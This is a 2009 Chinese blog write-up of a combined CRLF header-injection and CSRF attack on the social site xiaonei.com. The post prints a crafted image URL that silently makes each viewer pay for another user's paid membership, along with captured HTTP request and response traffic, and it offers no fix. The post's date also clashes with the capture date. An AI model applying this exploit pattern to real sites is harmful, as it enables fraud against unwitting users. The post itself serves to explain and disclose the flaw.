Tuesday, April 04, 2009

利用CRLF漏洞和CSRF漏洞同时进行web攻击

XSS 和 CSRF,其难以难以检测的特点加上和其他攻击手段的结合,给web安全防护笼罩上一层阴影。XSS 和 CSRF攻击越来越流行,也使得其他较弱的传统攻击手段浴火重生。

例子:利用CRLF和CSRF漏洞,在校内的日志中嵌入代码,利用看到页面的同学的校内豆给自己购买紫豆会员服务。(以下部分地方编码做过修改,不能直接利用。)

备注:只利用CSRF就可以完成本次利用,加入CRLF时为了说明旧漏洞在新攻击方法下的死灰复燃。

名词解释:
CRLF -- Carriage-Return Line-Feed 回车换行
HTTP Header CRLF Injection  -- HTTP使用CRLF来表示每一行的结束,用户通过CRLF注入自定义HTTP header,导致用户可以不经过应用层直接与Server对话。(HTTP header的定义就是基于这样的"Key: Value"的结构,用CRLF命令表示一行的结尾。)
CSRF --(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

漏洞:
1、http://blog.xiaonei.com/NewEntry.do日志编写时,对插入图片中对输入过滤不全,可以插入非图片地址
2、http://i.xiaonei.com/click.action后面的url参数存在CRLF漏洞
3、http://i.xiaonei.com/pay_checkXnb.action默认接受post提交的参数,但是经过测试,对get请求也来这不拒。

利用方法:

编写一篇新日志,内容中插入图片,地址填写
http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

备注:还可以通过巧妙的构造手段,将网页重新定向导其他站点的页面。

效果:
日志访问者会自动使用自己的校内豆为id为52434238的用户购买紫豆服务。

原理:

访问者看到日志时,浏览器解析图片时会去请求http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238地址,这个地址中被插入HTTP协议字段location,将页面重新定向到紫豆支付页面,从而实现不知情的情况下为别人买单的效果。

查看日志时候抓包结果:

GET /click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: ************



HTTP/1.1 302 Found

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Location: http://i.xiaonei.com

location: http://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Set-Cookie: *****

Content-Length: 118



The URL has moved here
GET //pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1

Host: i.xiaonei.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238

Cookie: *******



HTTP/1.1 200 OK

Server: nginx/0.6.32

Date: Tue, 28 Apr 2009 10:20:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: vip=1; domain=.xiaonei.com; path=/

Content-Encoding: gzip



a

..........

3a

.V*J-..)Q.JK.)N.Q...+.(V.2.Q*H.L./J+.L.KA.O..J........;...

0



修补方式:

未提供。

Tags: 安全, web, 实践